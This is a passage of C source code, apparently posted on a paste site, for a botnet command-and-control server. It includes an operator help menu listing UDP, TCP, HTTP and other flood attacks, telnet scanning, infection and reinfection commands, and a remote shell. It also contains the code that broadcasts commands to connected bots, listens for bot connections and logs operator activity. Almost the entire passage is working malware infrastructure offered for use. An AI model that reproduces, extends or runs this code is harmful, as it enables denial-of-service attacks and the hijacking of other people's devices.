  692. continue;
  693. }/*OTHER COMMANDS*/
  694. if(strstr(buf, "HELP"))
  695. {
  696. pthread_create(&title, NULL, &TitleWriter, sock);
  697. char helpline1 [80];
  698. char helpline2 [80];
  699. char helpline3 [80];
  700. char helpline4 [80];
  701. char helpline5 [80];
  702. char helpline6 [80];
  703. char helpline7 [80];
  704. char helpline8 [80];
  705. char helpline9 [80];
  706. char helpline10 [80];
  707. char helpline11 [80];
  708. char helpline12 [80];
  709. char helpline13 [80];
  710. char helpline14 [80];
  711. char helpline15 [80];
  712. char helpline16 [80];
  713. char helpline17 [80];
  714. char helpline18 [80];
  715. char helpline19 [80];
  716. char helpline20 [80];
  717. char helpline21 [80];
  718. char helpline22 [80];
  719. char helpline23 [80];
  720. char helpline24 [80];
  721. char helpline25 [80];
  722. char helpline26 [80];
  723.  
  724.  
  725.  
  726. sprintf(helpline1, "\r\n[+] ATTACK COMMANDS [+]\r\n");
  727. sprintf(helpline2, "[-] UDP - !* UDP IP Port Time 32 0 10\r\n");
  728. sprintf(helpline3, "[-] TCP - !* TCP IP Port Time 32 all 0 10\r\n");
  729. sprintf(helpline4, "[-] STD - !* STD IP Port Time\r\n");
  730. sprintf(helpline5, "[-] JUNK - !* JUNK IP Port Time\r\n");
  731. sprintf(helpline6, "[-] HOLD - !* HOLD IP Port Time\r\n");
  732. sprintf(helpline7, "[-] HTTP - !* HTTP Url Time\r\n");
  733. sprintf(helpline8, "[-] KILL - !* KILLATTK | KILL\r\n");
  734.  
  735. sprintf(helpline9, "[+] SCANNING COMMANDS [+]\r\n");
  736. sprintf(helpline10, "[-] LOAD - LOAD\r\n");
  737. sprintf(helpline11, "[-] SCAN - SCAN1 | SCAN2 | SCAN3 | SCAN4 | SCAN5\r\n");
  738. sprintf(helpline12, "[-] SCAN - SCAN6 | SCAN7 | SCAN8 | SCAN9 | SCAN10\r\n");
  739. sprintf(helpline13, "[-] LUCKY - LUCKY | LUCKY2\r\n");
  740. sprintf(helpline14, "[-] STOP - SCAN_OFF\r\n");
  741.  
  742. sprintf(helpline15, "[+] GENERAL COMMANDS [+]\r\n");
  743. sprintf(helpline16, "[-] SHELL - !* SH\r\n");
  744. sprintf(helpline17, "[-] BOTS - !* BOTS | BOTS\r\n");
  745. sprintf(helpline18, "[-] STATUS - !* STATUS | STATUS\r\n");
  746. sprintf(helpline19, "[-] STATS - STATS\r\n");
  747.  
  748. sprintf(helpline20, "[+] MISC COMMANDS [+]\r\n");
  749. sprintf(helpline21, "[-] ATTACK_GUI - ATTACK");
  750. sprintf(helpline22, "[-] INECTION FILTER - FILTER\r\n");
  751. sprintf(helpline23, "[-] TELNET INFECT - INFECT\r\n");
  752. sprintf(helpline24, "[-] REINFECT BOTS - REINFECT\r\n");
  753. sprintf(helpline25, "[-] CLEARSCREEN - CLEAR\r\n");
  754. sprintf(helpline26, "[-] LOGOUT - LOGOUT\r\n");
  755.  
  756.  
  757.  
  758. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  759. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  760. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  761. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  762. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  763. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  764. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  765. if(send(datafd, helpline8, strlen(helpline8), MSG_NOSIGNAL) == -1) goto end;
  766. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  767. if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  768. if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  769. if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  770. if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  771. if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  772. if(send(datafd, helpline15, strlen(helpline15), MSG_NOSIGNAL) == -1) goto end;
  773. if(send(datafd, helpline16, strlen(helpline16), MSG_NOSIGNAL) == -1) goto end;
  774. if(send(datafd, helpline17, strlen(helpline17), MSG_NOSIGNAL) == -1) goto end;
  775. if(send(datafd, helpline18, strlen(helpline18), MSG_NOSIGNAL) == -1) goto end;
  776. if(send(datafd, helpline19, strlen(helpline19), MSG_NOSIGNAL) == -1) goto end;
  777. if(send(datafd, helpline20, strlen(helpline20), MSG_NOSIGNAL) == -1) goto end;
  778. if(send(datafd, helpline21, strlen(helpline21), MSG_NOSIGNAL) == -1) goto end;
  779. if(send(datafd, helpline22, strlen(helpline22), MSG_NOSIGNAL) == -1) goto end;
  780. if(send(datafd, helpline23, strlen(helpline23), MSG_NOSIGNAL) == -1) goto end;
  781. if(send(datafd, helpline24, strlen(helpline24), MSG_NOSIGNAL) == -1) goto end;
  782. if(send(datafd, helpline25, strlen(helpline25), MSG_NOSIGNAL) == -1) goto end;
  783. if(send(datafd, helpline26, strlen(helpline26), MSG_NOSIGNAL) == -1) goto end;
  784. pthread_create(&title, NULL, &TitleWriter, sock);
  785. continue;
  786. }
  787. if(strstr(buf, "KILL"))
  788. {
  789. char killattack [2048];
  790. memset(killattack, 0, 2048);
  791. char killattack_msg [2048];
  792.  
  793. sprintf(killattack, "!* KILLATTK\r\n");
  794. broadcast(killattack, datafd, "KILL THAT SHIT");
  795. if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  796.  
  797. sprintf(killattack_msg, "Attack Killed!\r\n");
  798. if(send(datafd, killattack_msg, strlen(killattack_msg), MSG_NOSIGNAL) == -1) goto end;
  799. continue;
  800. }
  801. if(strstr(buf, "CLEAR"))
  802. {
  803. char clearscreen [2048];
  804. memset(clearscreen, 0, 2048);
  805. sprintf(clearscreen, "\033[2J\033[1;1H");
  806. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  807. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  808. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  809. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  810. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  811. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  812. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  813. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  814. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  815. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  816. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  817. if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  818. if(send(datafd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  819. if(send(datafd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  820. if(send(datafd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
  821. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  822. while(1) {
  823. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  824. if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  825. break;
  826. }
  827. continue;
  828. }
  829. if(strstr(buf, "LOGOUT"))
  830. {
  831. char logoutmessage [2048];
  832. memset(logoutmessage, 0, 2048);
  833. sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  834. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  835. sleep(5);
  836. goto end;
  837. }
  838. trim(buf);
  839. if(send(datafd, "\x1b[31m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  840. if(strlen(buf) == 0) continue;
  841. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  842.  
  843. FILE *LogFile;
  844. LogFile = fopen("server_log.txt", "a");
  845. time_t now;
  846. struct tm *gmt;
  847. char formatted_gmt [50];
  848. char lcltime[50];
  849. now = time(NULL);
  850. gmt = gmtime(&now);
  851. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  852. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  853. fclose(LogFile);
  854. broadcast(buf, datafd, accounts[find_line].username);
  855. memset(buf, 0, 2048);
  856. }
  857. end:
  858. managements[datafd].connected = 0;
  859. close(datafd);
  860. OperatorsConnected--;
  861. }
  862. void *BotListener(int port) {
  863. int sockfd, newsockfd;
  864. socklen_t clilen;
  865. struct sockaddr_in serv_addr, cli_addr;
  866. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  867. if (sockfd < 0) perror("ERROR opening socket");
  868. bzero((char *) &serv_addr, sizeof(serv_addr));
  869. serv_addr.sin_family = AF_INET;
  870. serv_addr.sin_addr.s_addr = INADDR_ANY;
  871. serv_addr.sin_port = htons(port);
  872. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  873. listen(sockfd,5);
  874. clilen = sizeof(cli_addr);
  875. while(1) {
  876. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  877. if (newsockfd < 0) perror("ERROR on accept");
  878. pthread_t thread;
  879. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  880. }}
  881. int main (int argc, char *argv[], void *sock)//~B1NARY~
  882. {
  883. signal(SIGPIPE, SIG_IGN);
  884. int s, threads, port;
  885. struct epoll_event event;
  886. if (argc != 4) {
  887. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  888. exit (EXIT_FAILURE);
  889. }
  890. port = atoi(argv[3]);
  891. telFD = fopen("telnet.txt", "a+");
  892. threads = atoi(argv[2]);
  893. listenFD = create_and_bind (argv[1]);
  894. if (listenFD == -1) abort ();
  895. s = make_socket_non_blocking (listenFD);
  896. if (s == -1) abort ();
  897. s = listen (listenFD, SOMAXCONN);
  898. if (s == -1) {
  899. perror ("listen");
  900. abort ();
  901. }
  902. epollFD = epoll_create1 (0);
  903. if (epollFD == -1) {
  904. perror ("epoll_create");
  905. abort ();
  906. }
  907. event.data.fd = listenFD;
  908. event.events = EPOLLIN | EPOLLET;
  909. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  910. if (s == -1) {
  911. perror ("epoll_ctl");
  912. abort ();
  913. }
  914. pthread_t thread[threads + 2];
  915. while(threads--) {
  916. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  917. }
  918. pthread_create(&thread[0], NULL, &BotListener, port);
  919. while(1) {
  920. broadcast("PING", -1, "LEL");
  921. sleep(60);
  922. }
  923. close (listenFD);
  924. return EXIT_SUCCESS;
  925. }
Add Comment
Please, Sign In to add comment